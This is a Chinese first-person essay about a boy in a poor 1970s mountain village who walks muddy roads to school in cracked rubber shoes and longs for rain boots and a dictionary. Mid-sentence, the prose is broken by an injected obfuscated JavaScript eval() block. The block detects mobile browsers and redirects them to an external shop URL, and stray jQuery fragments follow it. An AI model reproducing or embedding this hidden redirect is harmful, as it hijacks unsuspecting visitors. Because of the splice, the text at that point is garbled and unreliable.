盛夏的五老峰，雨水是缠人的。
不像春日细雨温柔绵长，山里的夏雨性子烈、来得急、去得拖。前一秒还是烈阳悬空、暑气蒸腾，山野间热浪滚滚，蝉鸣聒噪得让人耳根发沉；下一秒黑云就从山背迅速翻涌上来，沉甸甸压在头顶的山谷上空，把整片天压得昏暗压抑。风骤然起势，卷着湿润的水汽穿谷而过，吹动满山草木哗哗作响。不过眨眼的功夫，滂沱大雨便轰然落下，砸在山林、梯田、木屋瓦顶之上，轰轰然一片轰鸣。对于世代住在花明村的人来说，夏天的雨从来不是风景，是生计的赌局，也是每个山里孩子藏在心底的窘迫与无奈。
大人们观雨，看的是田水、是收成、是一整年的温饱。雨匀，则禾苗旺；雨猛，则田埂塌、禾苗倒、水土流。农人一辈子靠天吃饭，每一场夏雨，都牵着一家人整年的活路。可年幼的我站在屋檐下听雨，心里装的从来不是庄稼好坏，只是脚下一双破烂漏水的旧胶鞋，是两里泥泞上学路的难堪狼狈，是心底那桩迟迟不敢开口、却日日发酵的心愿——我想要一双真正不透水、不进泥、干净利落的新雨靴。
我的那双胶鞋，早已旧得不成样子。
那是母亲年轻时穿剩下的旧物，家里没人舍得扔，辗转修补数次，最后落在我的脚上。经年累月的日晒雨淋、山路磨损、泥水泡涨，鞋子原本的黑胶底色早已褪成灰白，鞋面发软变形，鞋帮塌塌地贴在脚面上，毫无版型可言。鞋底被碎石磨得极薄，薄到走路能直接感受到路面凸起的石子，硌得脚底生疼。最致命的是鞋身两侧裂开数道长短不一的口子，是常年弯折行走、冷热交替、泥水浸泡老化出来的裂痕。平日里晴天走路尚可勉强撑住，一旦遇上雨天，雨水顺着裂口往里钻，挡不住、堵不住、补不住，任凭我如何小心翼翼，鞋袜依旧瞬间湿透，冰凉的泥水裹着细沙，灌满整个鞋腔。
整个童年的夏天，我的双脚大半时间都泡在冰冷浑浊的泥水里。
从家里通往村小的山路，是全村最原始的黄泥土路。蜿蜒盘旋在山腰，一边是层层梯田，一边是陡坡杂草，路面狭窄凹凸，没有一寸硬化平地。晴天走，黄土飞扬，一走一身灰；雨天走，泥土泡透，粘稠湿滑，一脚下去陷半寸，抬脚带起沉甸甸的黄泥，每一步都费力煎熬。山里无雨便罢，一雨便是满地泥泞，整条山路化作泥潭，无处下脚、无处避泥、无处躲水。
村里家家清贫，大多孩子穿的都是旧鞋、补鞋、旧货鞋，人人日子将就度日。可即便这般拮据，依旧有几户家境稍宽裕的人家，给孩子置办了崭新的胶雨靴。
那是我年少最羡慕的画面。
每逢雨天上学，我总能在路上看见三三两两的同伴，踩着乌黑发亮的新雨靴，步履轻盈、稳稳当当。雨水打在鞋面上，顺势滑落，不渗不进，靴筒护着脚踝，裤脚干干净净、清清爽爽。他们可以肆意踩水、蹦跳打闹、奔跑说笑，完全不必忌惮泥泞积水，不必踮脚缩步、小心翼翼。雨天于他们而言，只是寻常天气；可于我而言，每一场落雨，都是一场躲不开的难堪。
我永远记得自己雨天赶路的模样。
全程踮着脚尖、绷紧脚掌、刻意抬高脚跟，尽量让裂口鞋面少沾泥水。身子微微前倾，视线死死盯住脚下路面，专挑凸起的泥埂、少水的干土、稀疏的草路走。可整条山路早已被雨水泡得通透，到处是烂泥、水坑、冲刷出来的小沟，无论如何避让，泥水依旧无孔不入。走不到一半路，鞋里便灌满积水，走路发出咕叽咕叽的水声，冰凉刺骨的泥水浸泡双脚，从脚底凉到小腿，凉得人指尖发颤、心口发紧。
等我狼狈赶到学校，别的孩子衣裤干净、鞋袜干爽，唯独我裤脚沾满厚重黄泥，鞋面糊满污渍，鞋子沉甸甸全是积水。课间走路声响怪异，低头便是满身狼狈，偶尔会被同学无心调侃几句。那些话语并无恶意，只是孩童随口的玩笑，却像细密冰冷的雨针，一下下扎进我的心底，让我面红耳赤、局促不安。
贫穷带来的难堪，从来不是惊天动地的苦难，而是无数细碎、反复、无人在意却唯独自己耿耿于怀的瞬间。是雨天灌满泥水的旧鞋，是洗不净的黄泥印记，是别人轻易拥有、我却奢求不得的寻常物件。
那天午后的暴雨，来得格外凶猛。
正午原本烈日灼灼，空气闷热凝滞，蝉鸣吵得人心烦。我和狗蛋吃完午饭，照常牵着老牛去后山坡吃草，刚把牛绳拴稳，天色骤然暗沉。黑云从山后席卷而来，遮天蔽日，狂风穿谷呼啸，吹得满山草木乱颤。转瞬之间，大雨倾盆而下，雨势凶猛，砸在脸上都带着微微的痛感。我们来不及跑回村子，只能仓促躲进半山腰废弃的山神庙檐下避雨。
破旧的庙檐低矮狭小，挡得住头顶大雨，挡不住漫天飘斜的雨丝。风夹着雨雾不停扑打在身上，衣衫很快潮凉。我低头看着脚上那双旧胶鞋，裂口被雨水泡得发白、愈发明显，原本粘在鞋面的黄泥被雨水冲掉，露出一道道丑陋的裂痕。我轻轻抬脚晃了晃，鞋里已经渗进不少雨水，冰凉潮湿的触感裹住脚掌，熟悉的狼狈感再次漫上心头。
狗蛋蹲在一旁，看着我皱眉发呆的模样，大大咧咧地打趣：“你这鞋早就废了，破成这样还穿？不如光脚走，还利索凉快。”
我沉默着没有回话。
我何尝不知道鞋子早已不能用，何尝不想换掉这双处处漏风漏水的旧鞋。可我心里比谁都清楚家里的境况。七十年代末的深山村落，家家度日艰难，全年靠田地收成换钱粮，一年到头手里摸不到几张零钱。盐钱、灯油钱、针头线脑，每一分钱都要精打细算、省之又省。一双新雨靴要好几块钱，抵得上家里大半个月的开销，抵得数十日的盐油支出，是我们家根本舍不得动用的闲钱。
我早已不敢轻易开口索要任何东西。
此前鼓起勇气向母亲讨要四块钱的字典，母亲疲惫无奈的叹息，家里空空的钱袋，拮据窘迫的光景，我都默默记在心里。我知道母亲日日操劳辛苦，知道爷爷默默扛下所有农活养家不易，知道这个清贫的家，经不起我半点多余的奢求。我把所有的渴望死死压在心底，从不撒娇、从不哭闹、从不索要，学着懂事、学着体谅、学着将就。
可懂事压制得住任性，压制不住心底的不甘。
雨势汹汹，山谷白茫茫一片，雨声轰鸣不止，山坡的泥水顺着沟壑肆意奔流，一条条黄泥水流冲刷着山路，把原本就难走的土路冲得坑洼遍布、泥泞不堪。望着漫天风雨，我心底的心愿愈发清晰。我不要新衣、不要零食、不要玩乐，我此生最朴素、最微小的两个念想，自始至终都只有两样：一本属于自己的字典，一双不透水、不进泥、干干净净的雨靴。
可就是这般寻常不过的东西，在群山围困的清贫里，成了我遥不可及的奢望。
雨势稍缓，上学时辰将近，我们只能硬着头皮冲进雨里。
我踩着满路烂泥深一脚浅一脚往前走，每一步抬脚都带着厚重黄泥，沉重费力。裂口的旧鞋不停进水，冰冷的泥水混着细沙，在鞋腔内反复摩擦，磨得脚底发红发痛。我尽量走得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17703105|208252||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
谨慎小心，尽量避开大水坑、深泥洼，可整条山路早已无处干爽，目之所及，全是雨水、黄泥与泥泞。两里山路，短短一程，却走得无比漫长煎熬，每一步都是窘迫，每一步都是委屈。
沿途遇上同村上学的孩童，他们踩着崭新雨靴，自在轻快、说说笑笑，泥水被稳稳隔绝在外，裤脚干净利落。他们跑跳、追逐、踩水，无忧无虑，丝毫不受雨天山路影响。那一幕落在我眼里，反差刺眼，心底酸涩翻涌，说不清是羡慕、是委屈，还是不甘。
我默默低头，加快脚步，尽量避开人群，把所有难堪悄悄藏起来。
抵达教室时，我浑身潮冷，裤脚沾满斑驳黄泥，鞋子沉重积水，走路水声哗哗。我悄悄站在后门，抬手用力拧干裤脚的水渍，擦掉鞋面的泥巴，努力收拾自己的狼狈，可依旧遮掩不住满身的落魄。教室里干净干爽的同伴、整齐利落的鞋袜、轻松自在的神情，与满身泥泞的我形成鲜明的对照。
那一整个下午，我坐立难安。
双脚浸泡在冰凉泥水里，又冷又胀，隐隐作痛。窗外雨声滴答连绵不绝，落在瓦檐、落在树叶、落在心底，一遍遍提醒着我的清贫与窘迫。我抬眼望见讲台上陈老师那本红色封皮的新华字典，再低头望向自己破旧开裂、灌满泥水的胶鞋，心底两份执念交织缠绕，愈发滚烫、愈发坚定。
我终于彻底明白，贫穷最磨人的从不是饿冻苦楚，是无数次想要体面却无从体面、想要拥有却一无所有的无力。它藏在雨天的泥泞路上，藏在破旧的鞋袜里，藏在旁人无心的玩笑里，藏在少年卑微又热烈的期盼里，日复一日悄悄磨砺着我的心性。
放学时分，天色提前暗沉，雨依旧淅淅沥沥落个不停。晚风带着雨丝凉入骨肤，山间暮色沉沉，群山静默压抑。我和狗蛋结伴返程，依旧是那条泥泞湿滑的老路，依旧是满身潮冷的狼狈。
狗蛋依旧乐天知足，早已习惯将就、习惯清贫、习惯山里所有的苦。他从不羡慕外人的光鲜，从不期盼山外的世界，在他眼里，山里的日子苦是常态、穷是本分、认命是理所当然。
可我始终不甘。
我踩着一路泥泞，听着满谷雨声，心底暗暗立下誓言。我不要再岁岁年年将就破旧、狼狈难堪；不要再因为一双鞋子自卑局促；不要再被细碎的贫穷困住所有欢喜与期盼。我一定要拼命读书、好好读书，凭着自己的力气走出这座连绵不绝的五老峰，走出这片年年泥泞、岁岁多雨的深山。我要靠自己的双手，挣得所有我如今求而不得的寻常，挣得一份干净体面、不受窘迫的人生。
回到木屋，母亲见我一身泥泞、浑身冰凉，眼底满是心疼与无奈。她默默打来温水，替我洗净脚上的黄泥，烘干潮湿的衣衫。她拿起我那双彻底泡坏、裂痕遍布的旧胶鞋，指尖轻轻摩挲着破损的鞋面，长长叹了一口气。她不是不疼我，只是生活太重、日子太苦，在温饱尚且艰难维持的年代，一双新雨靴，实在是太过奢侈的念想。
火塘的炭火微微跳动，暖光微弱，烘烤着潮湿的衣物，袅袅水汽缓缓升腾。我坐在火塘边，望着跳跃的火星，听着屋外连绵不绝的雨声，心底的渴望从未熄灭。
山里的雨，年年落、岁岁落，落遍黄泥山路，落遍清贫岁月，落遍我整个年少的童年。
泥泞困得住脚下的路，困得住当下的岁月，困得住一时的体面，却永远困不住一个少年破土而出、奔赴远方的倔强与滚烫。雨落黄泥路，路困少年人，可少年的心，早已越过青山，望向了万里远方。